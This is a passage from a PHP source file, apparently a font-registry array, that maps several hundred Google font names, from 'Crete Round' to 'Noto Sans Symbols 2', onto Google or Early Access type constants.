self::GOOGLE, 'Crete Round' => self::GOOGLE, 'Crimson Pro' => self::GOOGLE, 'Crimson Text' => self::GOOGLE, 'Croissant One' => self::GOOGLE, 'Crushed' => self::GOOGLE, 'Cuprum' => self::GOOGLE, 'Cute Font' => self::GOOGLE, 'Cutive' => self::GOOGLE, 'Cutive Mono' => self::GOOGLE, 'DM Mono' => self::GOOGLE, 'DM Sans' => self::GOOGLE, 'DM Serif Display' => self::GOOGLE, 'DM Serif Text' => self::GOOGLE, 'Dai Banna SIL' => self::GOOGLE, 'Damion' => self::GOOGLE, 'Dancing Script' => self::GOOGLE, 'Dangrek' => self::GOOGLE, 'Darker Grotesque' => self::GOOGLE, 'Darumadrop One' => self::GOOGLE, 'David Libre' => self::GOOGLE, 'Dawning of a New Day' => self::GOOGLE, 'Days One' => self::GOOGLE, 'Dekko' => self::GOOGLE, 'Dela Gothic One' => self::GOOGLE, 'Delicious Handrawn' => self::GOOGLE, 'Delius' => self::GOOGLE, 'Delius Swash Caps' => self::GOOGLE, 'Delius Unicase' => self::GOOGLE, 'Della Respira' => self::GOOGLE, 'Denk One' => self::GOOGLE, 'Devonshire' => self::GOOGLE, 'Dhurjati' => self::GOOGLE, 'Didact Gothic' => self::GOOGLE, 'Diphylleia' => self::GOOGLE, 'Diplomata' => self::GOOGLE, 'Diplomata SC' => self::GOOGLE, 'Do Hyeon' => self::GOOGLE, 'Dokdo' => self::GOOGLE, 'Domine' => self::GOOGLE, 'Donegal One' => self::GOOGLE, 'Dongle' => self::GOOGLE, 'Doppio One' => self::GOOGLE, 'Dorsa' => self::GOOGLE, 'Dosis' => self::GOOGLE, 'DotGothic16' => self::GOOGLE, 'Dr Sugiyama' => self::GOOGLE, 'Droid Arabic Kufi' => self::EARLYACCESS, // Hack for Google Early Access. 'Droid Arabic Naskh' => self::EARLYACCESS, // Hack for Google Early Access. 'Duru Sans' => self::GOOGLE, 'DynaPuff' => self::GOOGLE, 'Dynalight' => self::GOOGLE, 'EB Garamond' => self::GOOGLE, 'Eagle Lake' => self::GOOGLE, 'East Sea Dokdo' => self::GOOGLE, 'Eater' => self::GOOGLE, 'Economica' => self::GOOGLE, 'Eczar' => self::GOOGLE, 'Edu NSW ACT Foundation' => self::GOOGLE, 'Edu QLD Beginner' => self::GOOGLE, 'Edu SA Beginner' => self::GOOGLE, 'Edu TAS Beginner' => self::GOOGLE, 'Edu VIC WA NT Beginner' => self::GOOGLE, 'El Messiri' => self::GOOGLE, 'Electrolize' => self::GOOGLE, 'Elsie' => self::GOOGLE, 'Elsie Swash Caps' => self::GOOGLE, 'Emblema One' => self::GOOGLE, 'Emilys Candy' => self::GOOGLE, 'Encode Sans' => self::GOOGLE, 'Encode Sans Condensed' => self::GOOGLE, 'Encode Sans Expanded' => self::GOOGLE, 'Encode Sans SC' => self::GOOGLE, 'Encode Sans Semi Condensed' => self::GOOGLE, 'Encode Sans Semi Expanded' => self::GOOGLE, 'Engagement' => self::GOOGLE, 'Englebert' => self::GOOGLE, 'Enriqueta' => self::GOOGLE, 'Ephesis' => self::GOOGLE, 'Epilogue' => self::GOOGLE, 'Erica One' => self::GOOGLE, 'Esteban' => self::GOOGLE, 'Estonia' => self::GOOGLE, 'Euphoria Script' => self::GOOGLE, 'Ewert' => self::GOOGLE, 'Exo' => self::GOOGLE, 'Exo 2' => self::GOOGLE, 'Expletus Sans' => self::GOOGLE, 'Explora' => self::GOOGLE, 'Fahkwang' => self::GOOGLE, 'Familjen Grotesk' => self::GOOGLE, 'Fanwood Text' => self::GOOGLE, 'Farro' => self::GOOGLE, 'Farsan' => self::GOOGLE, 'Fascinate' => self::GOOGLE, 'Fascinate Inline' => self::GOOGLE, 'Faster One' => self::GOOGLE, 'Fasthand' => self::GOOGLE, 'Fauna One' => self::GOOGLE, 'Faustina' => self::GOOGLE, 'Federant' => self::GOOGLE, 'Federo' => self::GOOGLE, 'Felipa' => self::GOOGLE, 'Fenix' => self::GOOGLE, 'Festive' => self::GOOGLE, 'Figtree' => self::GOOGLE, 'Finger Paint' => self::GOOGLE, 'Finlandica' => self::GOOGLE, 'Fira Code' => self::GOOGLE, 'Fira Mono' => self::GOOGLE, 'Fira Sans' => self::GOOGLE, 'Fira Sans Condensed' => self::GOOGLE, 'Fira Sans Extra Condensed' => self::GOOGLE, 'Fjalla One' => self::GOOGLE, 'Fjord One' => self::GOOGLE, 'Flamenco' => self::GOOGLE, 'Flavors' => self::GOOGLE, 'Fleur De Leah' => self::GOOGLE, 'Flow Block' => self::GOOGLE, 'Flow Circular' => self::GOOGLE, 'Flow Rounded' => self::GOOGLE, 'Foldit' => self::GOOGLE, 'Fondamento' => self::GOOGLE, 'Fontdiner Swanky' => self::GOOGLE, 'Forum' => self::GOOGLE, 'Fragment Mono' => self::GOOGLE, 'Francois One' => self::GOOGLE, 'Frank Ruhl Libre' => self::GOOGLE, 'Fraunces' => self::GOOGLE, 'Freckle Face' => self::GOOGLE, 'Fredericka the Great' => self::GOOGLE, 'Fredoka' => self::GOOGLE, 'Fredoka One' => self::GOOGLE, 'Freehand' => self::GOOGLE, 'Freeman' => self::GOOGLE, 'Fresca' => self::GOOGLE, 'Frijole' => self::GOOGLE, 'Fruktur' => self::GOOGLE, 'Fugaz One' => self::GOOGLE, 'Fuggles' => self::GOOGLE, 'Fuzzy Bubbles' => self::GOOGLE, 'GFS Didot' => self::GOOGLE, 'GFS Neohellenic' => self::GOOGLE, 'Gabarito' => self::GOOGLE, 'Gabriela' => self::GOOGLE, 'Gaegu' => self::GOOGLE, 'Gafata' => self::GOOGLE, 'Gajraj One' => self::GOOGLE, 'Galada' => self::GOOGLE, 'Galdeano' => self::GOOGLE, 'Galindo' => self::GOOGLE, 'Gamja Flower' => self::GOOGLE, 'Gantari' => self::GOOGLE, 'Gasoek One' => self::GOOGLE, 'Gayathri' => self::GOOGLE, 'Gelasio' => self::GOOGLE, 'Gemunu Libre' => self::GOOGLE, 'Genos' => self::GOOGLE, 'Gentium Book Basic' => self::GOOGLE, 'Gentium Book Plus' => self::GOOGLE, 'Gentium Plus' => self::GOOGLE, 'Geo' => self::GOOGLE, 'Geologica' => self::GOOGLE, 'Georama' => self::GOOGLE, 'Geostar' => self::GOOGLE, 'Geostar Fill' => self::GOOGLE, 'Germania One' => self::GOOGLE, 'Gideon Roman' => self::GOOGLE, 'Gidugu' => self::GOOGLE, 'Gilda Display' => self::GOOGLE, 'Girassol' => self::GOOGLE, 'Give You Glory' => self::GOOGLE, 'Glass Antiqua' => self::GOOGLE, 'Glegoo' => self::GOOGLE, 'Gloock' => self::GOOGLE, 'Gloria Hallelujah' => self::GOOGLE, 'Glory' => self::GOOGLE, 'Gluten' => self::GOOGLE, 'Goblin One' => self::GOOGLE, 'Gochi Hand' => self::GOOGLE, 'Goldman' => self::GOOGLE, 'Golos Text' => self::GOOGLE, 'Gorditas' => self::GOOGLE, 'Gothic A1' => self::GOOGLE, 'Gotu' => self::GOOGLE, 'Goudy Bookletter 1911' => self::GOOGLE, 'Gowun Batang' => self::GOOGLE, 'Gowun Dodum' => self::GOOGLE, 'Graduate' => self::GOOGLE, 'Grand Hotel' => self::GOOGLE, 'Grandiflora One' => self::GOOGLE, 'Grandstander' => self::GOOGLE, 'Grape Nuts' => self::GOOGLE, 'Gravitas One' => self::GOOGLE, 'Great Vibes' => self::GOOGLE, 'Grechen Fuemen' => self::GOOGLE, 'Grenze' => self::GOOGLE, 'Grenze Gotisch' => self::GOOGLE, 'Grey Qo' => self::GOOGLE, 'Griffy' => self::GOOGLE, 'Gruppo' => self::GOOGLE, 'Gudea' => self::GOOGLE, 'Gugi' => self::GOOGLE, 'Gulzar' => self::GOOGLE, 'Gupter' => self::GOOGLE, 'Gurajada' => self::GOOGLE, 'Gwendolyn' => self::GOOGLE, 'Habibi' => self::GOOGLE, 'Hachi Maru Pop' => self::GOOGLE, 'Hahmlet' => self::GOOGLE, 'Halant' => self::GOOGLE, 'Hammersmith One' => self::GOOGLE, 'Hanalei' => self::GOOGLE, 'Hanalei Fill' => self::GOOGLE, 'Handjet' => self::GOOGLE, 'Handlee' => self::GOOGLE, 'Hanken Grotesk' => self::GOOGLE, 'Hanuman' => self::GOOGLE, 'Happy Monkey' => self::GOOGLE, 'Harmattan' => self::GOOGLE, 'Headland One' => self::GOOGLE, 'Hedvig Letters Sans' => self::GOOGLE, 'Hedvig Letters Serif' => self::GOOGLE, 'Heebo' => self::GOOGLE, 'Henny Penny' => self::GOOGLE, 'Hepta Slab' => self::GOOGLE, 'Herr Von Muellerhoff' => self::GOOGLE, 'Hi Melody' => self::GOOGLE, 'Hina Mincho' => self::GOOGLE, 'Hind' => self::GOOGLE, 'Hind Guntur' => self::GOOGLE, 'Hind Madurai' => self::GOOGLE, 'Hind Siliguri' => self::GOOGLE, 'Hind Vadodara' => self::GOOGLE, 'Holtwood One SC' => self::GOOGLE, 'Homemade Apple' => self::GOOGLE, 'Homenaje' => self::GOOGLE, 'Honk' => self::GOOGLE, 'Hubballi' => self::GOOGLE, 'Hurricane' => self::GOOGLE, 'IBM Plex Mono' => self::GOOGLE, 'IBM Plex Sans' => self::GOOGLE, 'IBM Plex Sans Arabic' => self::GOOGLE, 'IBM Plex Sans Condensed' => self::GOOGLE, 'IBM Plex Sans Devanagari' => self::GOOGLE, 'IBM Plex Sans Hebrew' => self::GOOGLE, 'IBM Plex Sans JP' => self::GOOGLE, 'IBM Plex Sans KR' => self::GOOGLE, 'IBM Plex Sans Thai' => self::GOOGLE, 'IBM Plex Sans Thai Looped' => self::GOOGLE, 'IBM Plex Serif' => self::GOOGLE, 'IM Fell DW Pica' => self::GOOGLE, 'IM Fell DW Pica SC' => self::GOOGLE, 'IM Fell Double Pica' => self::GOOGLE, 'IM Fell Double Pica SC' => self::GOOGLE, 'IM Fell English' => self::GOOGLE, 'IM Fell English SC' => self::GOOGLE, 'IM Fell French Canon' => self::GOOGLE, 'IM Fell French Canon SC' => self::GOOGLE, 'IM Fell Great Primer' => self::GOOGLE, 'IM Fell Great Primer SC' => self::GOOGLE, 'Ibarra Real Nova' => self::GOOGLE, 'Iceberg' => self::GOOGLE, 'Iceland' => self::GOOGLE, 'Imbue' => self::GOOGLE, 'Imperial Script' => self::GOOGLE, 'Imprima' => self::GOOGLE, 'Inclusive Sans' => self::GOOGLE, 'Inconsolata' => self::GOOGLE, 'Inder' => self::GOOGLE, 'Indie Flower' => self::GOOGLE, 'Ingrid Darling' => self::GOOGLE, 'Inika' => self::GOOGLE, 'Inknut Antiqua' => self::GOOGLE, 'Inria Sans' => self::GOOGLE, 'Inria Serif' => self::GOOGLE, 'Inspiration' => self::GOOGLE, 'Instrument Sans' => self::GOOGLE, 'Instrument Serif' => self::GOOGLE, 'Inter' => self::GOOGLE, 'Inter Tight' => self::GOOGLE, 'Irish Grover' => self::GOOGLE, 'Island Moments' => self::GOOGLE, 'Istok Web' => self::GOOGLE, 'Italiana' => self::GOOGLE, 'Italianno' => self::GOOGLE, 'Itim' => self::GOOGLE, 'Jacquard 12 Charted' => self::GOOGLE, 'Jacquard 24' => self::GOOGLE, 'Jacquard 24 Charted' => self::GOOGLE, 'Jacquarda Bastarda 9' => self::GOOGLE, 'Jacquarda Bastarda 9 Charted' => self::GOOGLE, 'Jacques Francois' => self::GOOGLE, 'Jacques Francois Shadow' => self::GOOGLE, 'Jaini' => self::GOOGLE, 'Jaini Purva' => self::GOOGLE, 'Jaldi' => self::GOOGLE, 'Jaro' => self::GOOGLE, 'Jersey 10' => self::GOOGLE, 'Jersey 10 Charted' => self::GOOGLE, 'Jersey 15' => self::GOOGLE, 'Jersey 15 Charted' => self::GOOGLE, 'Jersey 20' => self::GOOGLE, 'Jersey 20 Charted' => self::GOOGLE, 'Jersey 25' => self::GOOGLE, 'Jersey 25 Charted' => self::GOOGLE, 'JetBrains Mono' => self::GOOGLE, 'Jim Nightshade' => self::GOOGLE, 'Joan' => self::GOOGLE, 'Jockey One' => self::GOOGLE, 'Jolly Lodger' => self::GOOGLE, 'Jomhuria' => self::GOOGLE, 'Jomolhari' => self::GOOGLE, 'Josefin Sans' => self::GOOGLE, 'Josefin Slab' => self::GOOGLE, 'Jost' => self::GOOGLE, 'Joti One' => self::GOOGLE, 'Jua' => self::GOOGLE, 'Judson' => self::GOOGLE, 'Julee' => self::GOOGLE, 'Julius Sans One' => self::GOOGLE, 'Junge' => self::GOOGLE, 'Jura' => self::GOOGLE, 'Just Another Hand' => self::GOOGLE, 'Just Me Again Down Here' => self::GOOGLE, 'K2D' => self::GOOGLE, 'Kablammo' => self::GOOGLE, 'Kadwa' => self::GOOGLE, 'Kaisei Decol' => self::GOOGLE, 'Kaisei HarunoUmi' => self::GOOGLE, 'Kaisei Opti' => self::GOOGLE, 'Kaisei Tokumin' => self::GOOGLE, 'Kalam' => self::GOOGLE, 'Kalnia' => self::GOOGLE, 'Kameron' => self::GOOGLE, 'Kanit' => self::GOOGLE, 'Kantumruy' => self::GOOGLE, 'Kantumruy Pro' => self::GOOGLE, 'Karantina' => self::GOOGLE, 'Karla' => self::GOOGLE, 'Karma' => self::GOOGLE, 'Katibeh' => self::GOOGLE, 'Kaushan Script' => self::GOOGLE, 'Kavivanar' => self::GOOGLE, 'Kavoon' => self::GOOGLE, 'Kay Pho Du' => self::GOOGLE, 'Kdam Thmor Pro' => self::GOOGLE, 'Keania One' => self::GOOGLE, 'Kelly Slab' => self::GOOGLE, 'Kenia' => self::GOOGLE, 'Khand' => self::GOOGLE, 'Khmer' => self::GOOGLE, 'Khula' => self::GOOGLE, 'Kings' => self::GOOGLE, 'Kirang Haerang' => self::GOOGLE, 'Kite One' => self::GOOGLE, 'Kiwi Maru' => self::GOOGLE, 'Klee One' => self::GOOGLE, 'Knewave' => self::GOOGLE, 'KoHo' => self::GOOGLE, 'Kodchasan' => self::GOOGLE, 'Kode Mono' => self::GOOGLE, 'Koh Santepheap' => self::GOOGLE, 'Kolker Brush' => self::GOOGLE, 'Konkhmer Sleokchher' => self::GOOGLE, 'Kosugi' => self::GOOGLE, 'Kosugi Maru' => self::GOOGLE, 'Kotta One' => self::GOOGLE, 'Koulen' => self::GOOGLE, 'Kranky' => self::GOOGLE, 'Kreon' => self::GOOGLE, 'Kristi' => self::GOOGLE, 'Krona One' => self::GOOGLE, 'Krub' => self::GOOGLE, 'Kufam' => self::GOOGLE, 'Kulim Park' => self::GOOGLE, 'Kumar One' => self::GOOGLE, 'Kumar One Outline' => self::GOOGLE, 'Kumbh Sans' => self::GOOGLE, 'Kurale' => self::GOOGLE, 'La Belle Aurore' => self::GOOGLE, 'Labrada' => self::GOOGLE, 'Lacquer' => self::GOOGLE, 'Laila' => self::GOOGLE, 'Lakki Reddy' => self::GOOGLE, 'Lalezar' => self::GOOGLE, 'Lancelot' => self::GOOGLE, 'Langar' => self::GOOGLE, 'Lateef' => self::GOOGLE, 'Lato' => self::GOOGLE, 'Lavishly Yours' => self::GOOGLE, 'League Gothic' => self::GOOGLE, 'League Script' => self::GOOGLE, 'League Spartan' => self::GOOGLE, 'Leckerli One' => self::GOOGLE, 'Ledger' => self::GOOGLE, 'Lekton' => self::GOOGLE, 'Lemon' => self::GOOGLE, 'Lemonada' => self::GOOGLE, 'Lexend' => self::GOOGLE, 'Lexend Deca' => self::GOOGLE, 'Lexend Exa' => self::GOOGLE, 'Lexend Giga' => self::GOOGLE, 'Lexend Mega' => self::GOOGLE, 'Lexend Peta' => self::GOOGLE, 'Lexend Tera' => self::GOOGLE, 'Lexend Zetta' => self::GOOGLE, 'Libre Barcode 128' => self::GOOGLE, 'Libre Barcode 128 Text' => self::GOOGLE, 'Libre Barcode 39' => self::GOOGLE, 'Libre Barcode 39 Extended' => self::GOOGLE, 'Libre Barcode 39 Extended Text' => self::GOOGLE, 'Libre Barcode 39 Text' => self::GOOGLE, 'Libre Barcode EAN13 Text' => self::GOOGLE, 'Libre Baskerville' => self::GOOGLE, 'Libre Bodoni' => self::GOOGLE, 'Libre Caslon Display' => self::GOOGLE, 'Libre Caslon Text' => self::GOOGLE, 'Libre Franklin' => self::GOOGLE, 'Licorice' => self::GOOGLE, 'Life Savers' => self::GOOGLE, 'Lilita One' => self::GOOGLE, 'Lily Script One' => self::GOOGLE, 'Limelight' => self::GOOGLE, 'Linden Hill' => self::GOOGLE, 'Linefont' => self::GOOGLE, 'Lisu Bosa' => self::GOOGLE, 'Literata' => self::GOOGLE, 'Liu Jian Mao Cao' => self::GOOGLE, 'Livvic' => self::GOOGLE, 'Lobster' => self::GOOGLE, 'Lobster Two' => self::GOOGLE, 'Londrina Outline' => self::GOOGLE, 'Londrina Shadow' => self::GOOGLE, 'Londrina Sketch' => self::GOOGLE, 'Londrina Solid' => self::GOOGLE, 'Long Cang' => self::GOOGLE, 'Lora' => self::GOOGLE, 'Love Light' => self::GOOGLE, 'Love Ya Like A Sister' => self::GOOGLE, 'Loved by the King' => self::GOOGLE, 'Lovers Quarrel' => self::GOOGLE, 'Luckiest Guy' => self::GOOGLE, 'Lugrasimo' => self::GOOGLE, 'Lumanosimo' => self::GOOGLE, 'Lunasima' => self::GOOGLE, 'Lusitana' => self::GOOGLE, 'Lustria' => self::GOOGLE, 'Luxurious Roman' => self::GOOGLE, 'Luxurious Script' => self::GOOGLE, 'M PLUS 1' => self::GOOGLE, 'M PLUS 1 Code' => self::GOOGLE, 'M PLUS 1p' => self::GOOGLE, 'M PLUS 2' => self::GOOGLE, 'M PLUS Code Latin' => self::GOOGLE, 'M PLUS Rounded 1c' => self::GOOGLE, 'Ma Shan Zheng' => self::GOOGLE, 'Macondo' => self::GOOGLE, 'Macondo Swash Caps' => self::GOOGLE, 'Mada' => self::GOOGLE, 'Madimi One' => self::GOOGLE, 'Magra' => self::GOOGLE, 'Maiden Orange' => self::GOOGLE, 'Maitree' => self::GOOGLE, 'Major Mono Display' => self::GOOGLE, 'Mako' => self::GOOGLE, 'Mali' => self::GOOGLE, 'Mallanna' => self::GOOGLE, 'Mandali' => self::GOOGLE, 'Manjari' => self::GOOGLE, 'Manrope' => self::GOOGLE, 'Mansalva' => self::GOOGLE, 'Manuale' => self::GOOGLE, 'Marcellus' => self::GOOGLE, 'Marcellus SC' => self::GOOGLE, 'Marck Script' => self::GOOGLE, 'Margarine' => self::GOOGLE, 'Marhey' => self::GOOGLE, 'Markazi Text' => self::GOOGLE, 'Marko One' => self::GOOGLE, 'Marmelad' => self::GOOGLE, 'Martel' => self::GOOGLE, 'Martel Sans' => self::GOOGLE, 'Martian Mono' => self::GOOGLE, 'Marvel' => self::GOOGLE, 'Mate' => self::GOOGLE, 'Mate SC' => self::GOOGLE, 'Material Icons' => self::GOOGLE, 'Material Icons Outlined' => self::GOOGLE, 'Material Icons Round' => self::GOOGLE, 'Material Icons Sharp' => self::GOOGLE, 'Material Icons Two Tone' => self::GOOGLE, 'Material Symbols Outlined' => self::GOOGLE, 'Material Symbols Rounded' => self::GOOGLE, 'Material Symbols Sharp' => self::GOOGLE, 'Maven Pro' => self::GOOGLE, 'McLaren' => self::GOOGLE, 'Mea Culpa' => self::GOOGLE, 'Meddon' => self::GOOGLE, 'MedievalSharp' => self::GOOGLE, 'Medula One' => self::GOOGLE, 'Meera Inimai' => self::GOOGLE, 'Megrim' => self::GOOGLE, 'Meie Script' => self::GOOGLE, 'Meow Script' => self::GOOGLE, 'Merienda' => self::GOOGLE, 'Merienda One' => self::GOOGLE, 'Merriweather' => self::GOOGLE, 'Merriweather Sans' => self::GOOGLE, 'Metal' => self::GOOGLE, 'Metal Mania' => self::GOOGLE, 'Metamorphous' => self::GOOGLE, 'Metrophobic' => self::GOOGLE, 'Michroma' => self::GOOGLE, 'Micro 5' => self::GOOGLE, 'Micro 5 Charted' => self::GOOGLE, 'Milonga' => self::GOOGLE, 'Miltonian' => self::GOOGLE, 'Miltonian Tattoo' => self::GOOGLE, 'Mina' => self::GOOGLE, 'Mingzat' => self::GOOGLE, 'Miniver' => self::GOOGLE, 'Miriam Libre' => self::GOOGLE, 'Mirza' => self::GOOGLE, 'Miss Fajardose' => self::GOOGLE, 'Mitr' => self::GOOGLE, 'Mochiy Pop One' => self::GOOGLE, 'Mochiy Pop P One' => self::GOOGLE, 'Modak' => self::GOOGLE, 'Modern Antiqua' => self::GOOGLE, 'Mogra' => self::GOOGLE, 'Mohave' => self::GOOGLE, 'Moirai One' => self::GOOGLE, 'Molengo' => self::GOOGLE, 'Molle' => self::GOOGLE, 'Monda' => self::GOOGLE, 'Monofett' => self::GOOGLE, 'Monomaniac One' => self::GOOGLE, 'Monoton' => self::GOOGLE, 'Monsieur La Doulaise' => self::GOOGLE, 'Montaga' => self::GOOGLE, 'Montagu Slab' => self::GOOGLE, 'MonteCarlo' => self::GOOGLE, 'Montez' => self::GOOGLE, 'Montserrat' => self::GOOGLE, 'Montserrat Alternates' => self::GOOGLE, 'Montserrat Subrayada' => self::GOOGLE, 'Moo Lah Lah' => self::GOOGLE, 'Mooli' => self::GOOGLE, 'Moon Dance' => self::GOOGLE, 'Moul' => self::GOOGLE, 'Moulpali' => self::GOOGLE, 'Mountains of Christmas' => self::GOOGLE, 'Mouse Memoirs' => self::GOOGLE, 'Mr Bedfort' => self::GOOGLE, 'Mr Dafoe' => self::GOOGLE, 'Mr De Haviland' => self::GOOGLE, 'Mrs Saint Delafield' => self::GOOGLE, 'Mrs Sheppards' => self::GOOGLE, 'Ms Madi' => self::GOOGLE, 'Mukta' => self::GOOGLE, 'Mukta Mahee' => self::GOOGLE, 'Mukta Malar' => self::GOOGLE, 'Mukta Vaani' => self::GOOGLE, 'Mulish' => self::GOOGLE, 'Murecho' => self::GOOGLE, 'MuseoModerno' => self::GOOGLE, 'My Soul' => self::GOOGLE, 'Mynerve' => self::GOOGLE, 'Mystery Quest' => self::GOOGLE, 'NTR' => self::GOOGLE, 'Nabla' => self::GOOGLE, 'Namdhinggo' => self::GOOGLE, 'Nanum Brush Script' => self::GOOGLE, 'Nanum Gothic' => self::GOOGLE, 'Nanum Gothic Coding' => self::GOOGLE, 'Nanum Myeongjo' => self::GOOGLE, 'Nanum Pen Script' => self::GOOGLE, 'Narnoor' => self::GOOGLE, 'Neonderthaw' => self::GOOGLE, 'Nerko One' => self::GOOGLE, 'Neucha' => self::GOOGLE, 'Neuton' => self::GOOGLE, 'New Rocker' => self::GOOGLE, 'New Tegomin' => self::GOOGLE, 'News Cycle' => self::GOOGLE, 'Newsreader' => self::GOOGLE, 'Niconne' => self::GOOGLE, 'Niramit' => self::GOOGLE, 'Nixie One' => self::GOOGLE, 'Nobile' => self::GOOGLE, 'Nokora' => self::GOOGLE, 'Norican' => self::GOOGLE, 'Nosifer' => self::GOOGLE, 'Notable' => self::GOOGLE, 'Nothing You Could Do' => self::GOOGLE, 'Noticia Text' => self::GOOGLE, 'Noto Color Emoji' => self::GOOGLE, 'Noto Emoji' => self::GOOGLE, 'Noto Kufi Arabic' => self::EARLYACCESS, // Hack for Google Early Access. 'Noto Music' => self::GOOGLE, 'Noto Naskh Arabic' => self::EARLYACCESS, // Hack for Google Early Access. 'Noto Nastaliq Urdu' => self::GOOGLE, 'Noto Rashi Hebrew' => self::GOOGLE, 'Noto Sans' => self::GOOGLE, 'Noto Sans Adlam' => self::GOOGLE, 'Noto Sans Adlam Unjoined' => self::GOOGLE, 'Noto Sans Anatolian Hieroglyphs' => self::GOOGLE, 'Noto Sans Arabic' => self::GOOGLE, 'Noto Sans Armenian' => self::GOOGLE, 'Noto Sans Avestan' => self::GOOGLE, 'Noto Sans Balinese' => self::GOOGLE, 'Noto Sans Bamum' => self::GOOGLE, 'Noto Sans Bassa Vah' => self::GOOGLE, 'Noto Sans Batak' => self::GOOGLE, 'Noto Sans Bengali' => self::GOOGLE, 'Noto Sans Bhaiksuki' => self::GOOGLE, 'Noto Sans Brahmi' => self::GOOGLE, 'Noto Sans Buginese' => self::GOOGLE, 'Noto Sans Buhid' => self::GOOGLE, 'Noto Sans Canadian Aboriginal' => self::GOOGLE, 'Noto Sans Carian' => self::GOOGLE, 'Noto Sans Caucasian Albanian' => self::GOOGLE, 'Noto Sans Chakma' => self::GOOGLE, 'Noto Sans Cham' => self::GOOGLE, 'Noto Sans Cherokee' => self::GOOGLE, 'Noto Sans Chorasmian' => self::GOOGLE, 'Noto Sans Coptic' => self::GOOGLE, 'Noto Sans Cuneiform' => self::GOOGLE, 'Noto Sans Cypriot' => self::GOOGLE, 'Noto Sans Cypro Minoan' => self::GOOGLE, 'Noto Sans Deseret' => self::GOOGLE, 'Noto Sans Devanagari' => self::GOOGLE, 'Noto Sans Display' => self::GOOGLE, 'Noto Sans Duployan' => self::GOOGLE, 'Noto Sans Egyptian Hieroglyphs' => self::GOOGLE, 'Noto Sans Elbasan' => self::GOOGLE, 'Noto Sans Elymaic' => self::GOOGLE, 'Noto Sans Ethiopic' => self::GOOGLE, 'Noto Sans Georgian' => self::GOOGLE, 'Noto Sans Glagolitic' => self::GOOGLE, 'Noto Sans Gothic' => self::GOOGLE, 'Noto Sans Grantha' => self::GOOGLE, 'Noto Sans Gujarati' => self::GOOGLE, 'Noto Sans Gunjala Gondi' => self::GOOGLE, 'Noto Sans Gurmukhi' => self::GOOGLE, 'Noto Sans HK' => self::GOOGLE, 'Noto Sans Hanifi Rohingya' => self::GOOGLE, 'Noto Sans Hanunoo' => self::GOOGLE, 'Noto Sans Hatran' => self::GOOGLE, 'Noto Sans Hebrew' => self::EARLYACCESS, // Hack for Google Early Access. 'Noto Sans Imperial Aramaic' => self::GOOGLE, 'Noto Sans Indic Siyaq Numbers' => self::GOOGLE, 'Noto Sans Inscriptional Pahlavi' => self::GOOGLE, 'Noto Sans Inscriptional Parthian' => self::GOOGLE, 'Noto Sans JP' => self::GOOGLE, 'Noto Sans Javanese' => self::GOOGLE, 'Noto Sans KR' => self::GOOGLE, 'Noto Sans Kaithi' => self::GOOGLE, 'Noto Sans Kannada' => self::GOOGLE, 'Noto Sans Kawi' => self::GOOGLE, 'Noto Sans Kayah Li' => self::GOOGLE, 'Noto Sans Kharoshthi' => self::GOOGLE, 'Noto Sans Khmer' => self::GOOGLE, 'Noto Sans Khojki' => self::GOOGLE, 'Noto Sans Khudawadi' => self::GOOGLE, 'Noto Sans Lao' => self::GOOGLE, 'Noto Sans Lao Looped' => self::GOOGLE, 'Noto Sans Lepcha' => self::GOOGLE, 'Noto Sans Limbu' => self::GOOGLE, 'Noto Sans Linear A' => self::GOOGLE, 'Noto Sans Linear B' => self::GOOGLE, 'Noto Sans Lisu' => self::GOOGLE, 'Noto Sans Lycian' => self::GOOGLE, 'Noto Sans Lydian' => self::GOOGLE, 'Noto Sans Mahajani' => self::GOOGLE, 'Noto Sans Malayalam' => self::GOOGLE, 'Noto Sans Mandaic' => self::GOOGLE, 'Noto Sans Manichaean' => self::GOOGLE, 'Noto Sans Marchen' => self::GOOGLE, 'Noto Sans Masaram Gondi' => self::GOOGLE, 'Noto Sans Math' => self::GOOGLE, 'Noto Sans Mayan Numerals' => self::GOOGLE, 'Noto Sans Medefaidrin' => self::GOOGLE, 'Noto Sans Meetei Mayek' => self::GOOGLE, 'Noto Sans Mende Kikakui' => self::GOOGLE, 'Noto Sans Meroitic' => self::GOOGLE, 'Noto Sans Miao' => self::GOOGLE, 'Noto Sans Modi' => self::GOOGLE, 'Noto Sans Mongolian' => self::GOOGLE, 'Noto Sans Mono' => self::GOOGLE, 'Noto Sans Mro' => self::GOOGLE, 'Noto Sans Multani' => self::GOOGLE, 'Noto Sans Myanmar' => self::GOOGLE, 'Noto Sans N Ko' => self::GOOGLE, 'Noto Sans NKo' => self::GOOGLE, 'Noto Sans NKo Unjoined' => self::GOOGLE, 'Noto Sans Nabataean' => self::GOOGLE, 'Noto Sans Nag Mundari' => self::GOOGLE, 'Noto Sans Nandinagari' => self::GOOGLE, 'Noto Sans New Tai Lue' => self::GOOGLE, 'Noto Sans Newa' => self::GOOGLE, 'Noto Sans Nushu' => self::GOOGLE, 'Noto Sans Ogham' => self::GOOGLE, 'Noto Sans Ol Chiki' => self::GOOGLE, 'Noto Sans Old Hungarian' => self::GOOGLE, 'Noto Sans Old Italic' => self::GOOGLE, 'Noto Sans Old North Arabian' => self::GOOGLE, 'Noto Sans Old Permic' => self::GOOGLE, 'Noto Sans Old Persian' => self::GOOGLE, 'Noto Sans Old Sogdian' => self::GOOGLE, 'Noto Sans Old South Arabian' => self::GOOGLE, 'Noto Sans Old Turkic' => self::GOOGLE, 'Noto Sans Oriya' => self::GOOGLE, 'Noto Sans Osage' => self::GOOGLE, 'Noto Sans Osmanya' => self::GOOGLE, 'Noto Sans Pahawh Hmong' => self::GOOGLE, 'Noto Sans Palmyrene' => self::GOOGLE, 'Noto Sans Pau Cin Hau' => self::GOOGLE, 'Noto Sans Phags Pa' => self::GOOGLE, 'Noto Sans Phoenician' => self::GOOGLE, 'Noto Sans Psalter Pahlavi' => self::GOOGLE, 'Noto Sans Rejang' => self::GOOGLE, 'Noto Sans Runic' => self::GOOGLE, 'Noto Sans SC' => self::GOOGLE, 'Noto Sans Samaritan' => self::GOOGLE, 'Noto Sans Saurashtra' => self::GOOGLE, 'Noto Sans Sharada' => self::GOOGLE, 'Noto Sans Shavian' => self::GOOGLE, 'Noto Sans Siddham' => self::GOOGLE, 'Noto Sans SignWriting' => self::GOOGLE, 'Noto Sans Sinhala' => self::GOOGLE, 'Noto Sans Sogdian' => self::GOOGLE, 'Noto Sans Sora Sompeng' => self::GOOGLE, 'Noto Sans Soyombo' => self::GOOGLE, 'Noto Sans Sundanese' => self::GOOGLE, 'Noto Sans Syloti Nagri' => self::GOOGLE, 'Noto Sans Symbols' => self::GOOGLE, 'Noto Sans Symbols 2' => self::GOOGLE, 'Noto Sans 